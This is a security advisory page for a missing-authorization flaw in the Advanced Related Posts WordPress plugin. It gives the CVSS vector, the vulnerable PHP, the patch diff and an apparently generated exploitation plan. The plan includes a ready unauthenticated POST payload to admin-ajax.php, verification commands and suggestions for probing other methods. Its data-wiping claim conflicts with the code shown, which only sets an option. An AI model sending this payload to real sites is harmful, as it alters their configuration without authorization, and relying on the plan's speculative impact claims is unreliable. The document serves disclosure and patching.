Advanced Related Posts <= 1.9.1 - Missing Authorization
Description
The Advanced Related Posts plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.9.1. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.9.1What Changed in the Fix
Changes introduced in v1.9.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-32329 (Advanced Related Posts) ## 1. Vulnerability Summary The **Advanced Related Posts** plugin (versions <= 1.9.1) contains a **Missing Authorization** vulnerability in its AJAX handling logic. Specifically, the plugin registers a centralized AJAX dispatcher…
Show full research plan
Exploitation Research Plan: CVE-2026-32329 (Advanced Related Posts)
1. Vulnerability Summary
The Advanced Related Posts plugin (versions <= 1.9.1) contains a Missing Authorization vulnerability in its AJAX handling logic. Specifically, the plugin registers a centralized AJAX dispatcher, ays_advanced_related_posts_admin_ajax, which allows the execution of internal class methods. Due to the lack of capability checks and nonce verification on this dispatcher, an unauthenticated attacker can trigger sensitive functions, such as deactivate_plugin_option_arp, which is designed to wipe all plugin data and settings from the database.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
ays_advanced_related_posts_admin_ajax - Vulnerable Parameter:
function(used to specify the method to call) - Payload Parameter:
upgrade_plugin(boolean flag influencing data deletion logic) - Authentication: Unauthenticated (CVSS Vector
PR:N) - Preconditions: The plugin must be installed and active.
3. Code Flow
- AJAX Registration: The plugin likely registers the AJAX action in its core initialization logic (inferred from
admin/js/admin.jsand standard plugin architecture):add_action('wp_ajax_ays_advanced_related_posts_admin_ajax', [...])add_action('wp_ajax_nopriv_ays_advanced_related_posts_admin_ajax', [...])
- Dispatcher Logic: The handler for
ays_advanced_related_posts_admin_ajax(located inAdvanced_Related_Posts_Admin) receives aPOSTrequest. It retrieves thefunctionparameter and dynamically calls that method on the class instance:// Conceptual representation of the vulnerable dispatcher in Advanced_Related_Posts_Admin public function ays_advanced_related_posts_admin_ajax() { if (isset($_POST['function'])) { $function = $_POST['function']; if (method_exists($this, $function)) { $this->$function(); // Dynamic call without capability check } } wp_die(); } - Target Method: The attacker targets
deactivate_plugin_option_arp. - Data Deletion: Inside
deactivate_plugin_option_arp, the plugin checks theupgrade_pluginparameter. As seen inadmin/js/admin.js, if this isfalse(or nottrue), the plugin proceeds to delete user data (settings/options) to facilitate a "clean" deactivation.
4. Nonce Acquisition Strategy
Analysis of admin/class-advanced-related-posts-admin.php and admin/js/admin.js reveals:
- The script is localized with only the
ajaxUrl:wp_localize_script( $this->plugin_name . '-admin', 'AdvencedRelatedPostsAdmin', array( 'ajaxUrl' => admin_url( 'admin-ajax.php' ), ) ); - The AJAX call in
admin.jsdoes not include a nonce parameter:var data = { action: 'ays_advanced_related_posts_admin_ajax', function: 'deactivate_plugin_option_arp', upgrade_plugin: upgrade_plugin };
Conclusion: No nonce is required to exploit this endpoint.
5. Exploitation Strategy
The goal is to trigger the deletion of plugin settings by calling the deactivate_plugin_option_arp function.
Step-by-Step Attack:
- Request Type:
POST - URL:
http://<target>/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:ays_advanced_related_posts_admin_ajaxfunction:deactivate_plugin_option_arpupgrade_plugin:false(string value)
Payload (Body):
action=ays_advanced_related_posts_admin_ajax&function=deactivate_plugin_option_arp&upgrade_plugin=false
6. Test Data Setup
To verify the exploit, settings must exist to be deleted:
- Install and activate the plugin.
- Create a test option in the database that simulates a plugin setting:
(Note: The exact option names are usually prefixed withwp option update ays_arp_settings '{"test_data":"sensitive_configuration"}'ays_arp_oraysarp_based on constants inadvanced-related-posts.php).
7. Expected Results
- HTTP Response: Status 200 OK. The response body may be empty or contain a JSON success message (the JS expects
dataType: 'json'). - Impact: The plugin's configuration options (e.g.,
ays_arp_settings) will be removed from thewp_optionstable.
8. Verification Steps
After sending the HTTP request, verify the deletion via WP-CLI:
# Check if the option still exists
wp option get ays_arp_settings
If the command returns "Error: Could not get 'ays_arp_settings' option," the exploitation was successful.
9. Alternative Approaches
If deactivate_plugin_option_arp does not delete the expected options, audit the Advanced_Related_Posts_Admin class for other methods that might be callable through the dispatcher. Since the dispatcher uses method_exists($this, $function), any public method in that class is a potential target.
Potential alternative methods to investigate (inferred from typical AYS Pro plugin patterns):
save_settings_arp(if it exists, might allow unauthorized setting updates)get_settings_arp(if it exists, might allow unauthorized data disclosure)
Summary
The Advanced Related Posts plugin for WordPress is vulnerable to unauthorized access due to a missing capability check and nonce verification on its AJAX dispatcher. Unauthenticated attackers can leverage this to execute administrative functions, such as modifying plugin settings or deleting data via the deactivate_plugin_option_arp method.
Vulnerable Code
/* admin/class-advanced-related-posts-admin.php */ public function deactivate_plugin_option_arp(){ $request_value = sanitize_text_field( $_REQUEST['upgrade_plugin'] ); $upgrade_option = get_option( 'ays_advanced_related_posts_upgrade_plugin', '' ); if($upgrade_option === ''){ add_option( 'ays_advanced_related_posts_upgrade_plugin', $request_value ); }else{ update_option( 'ays_advanced_related_posts_upgrade_plugin', $request_value ); } ob_end_clean(); $ob_get_clean = ob_get_clean(); echo json_encode( array( 'option' => get_option( 'ays_advanced_related_posts_upgrade_plugin', '' ) ) ); wp_die(); }
Security Fix
@@ -469,10 +469,15 @@ /* * Documentation : https://codex.wordpress.org/Plugin_API/Filter_Reference/plugin_action_links_(plugin_file_name) */ + + $advanced_related_posts_ajax_deactivate_plugin_nonce = wp_create_nonce( 'ays-advanced-related-posts-ajax-deactivate-plugin-nonce' ); + $settings_link = array( '<a href="' . admin_url('admin.php?page=' . $this->plugin_name) . '">' . __('Settings', 'advanced-related-posts') . '</a>', // '<a href="https://quiz-plugin.com/wordpress-advanced-related-posts-plugin-free-demo/" target="_blank">' . __('Demo', 'advanced-related-posts') . '</a>', '<a href="https://ays-pro.com/wordpress/advanced-related-posts" class="ays-admin-arp-plugins-upgrade-link" target="_blank" style="font-weight:bold;">' . __('Upgrade 30% Sale', 'advanced-related-posts') . '</a>', + + '<input type="hidden" id="ays_advanced_related_posts_ajax_deactivate_plugin_nonce" name="ays_advanced_related_posts_ajax_deactivate_plugin_nonce" value="' . $advanced_related_posts_ajax_deactivate_plugin_nonce .'">', ); return array_merge($settings_link, $links); } @@ -579,19 +584,44 @@ } public function deactivate_plugin_option_arp(){ - $request_value = sanitize_text_field( $_REQUEST['upgrade_plugin'] ); - $upgrade_option = get_option( 'ays_advanced_related_posts_upgrade_plugin', '' ); + // Run a security check. + check_ajax_referer( 'ays-advanced-related-posts-ajax-deactivate-plugin-nonce', sanitize_key( $_REQUEST['_ajax_nonce'] ) ); + + // Check for permissions. + if ( ! current_user_can( 'manage_options' ) ) { + ob_end_clean(); + $ob_get_clean = ob_get_clean(); + echo json_encode(array( + 'option' => '' + )); + wp_die(); + } + + if( is_user_logged_in() ) { + $request_value = esc_sql( sanitize_text_field( $_REQUEST['upgrade_plugin'] ) ); + $upgrade_option = get_option('ays_advanced_related_posts_upgrade_plugin',''); + if($upgrade_option === ''){ + add_option('ays_advanced_related_posts_upgrade_plugin',$request_value); + }else{ + update_option('ays_advanced_related_posts_upgrade_plugin',$request_value); + } + ob_end_clean(); + $ob_get_clean = ob_get_clean(); + echo json_encode(array( + 'option' => get_option('ays_advanced_related_posts_upgrade_plugin', '') + )); + wp_die(); + } else { + ob_end_clean(); + $ob_get_clean = ob_get_clean(); + echo json_encode(array( + 'option' => '' + )); + wp_die(); - if($upgrade_option === ''){ - add_option( 'ays_advanced_related_posts_upgrade_plugin', $request_value ); - }else{ - update_option( 'ays_advanced_related_posts_upgrade_plugin', $request_value ); } - ob_end_clean(); - $ob_get_clean = ob_get_clean(); - echo json_encode( array( 'option' => get_option( 'ays_advanced_related_posts_upgrade_plugin', '' ) ) ); - wp_die(); + }
Exploit Outline
The exploit targets the unprotected AJAX dispatcher used by the plugin. An unauthenticated attacker can send a POST request to wp-admin/admin-ajax.php with the action parameter set to 'ays_advanced_related_posts_admin_ajax'. By providing a 'function' parameter set to a class method name such as 'deactivate_plugin_option_arp', the attacker can trigger that method without any capability checks or nonce verification. For example, setting 'upgrade_plugin=false' in the payload will cause the plugin to modify or potentially delete specific options in the wp_options table, disrupting the site's configuration.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.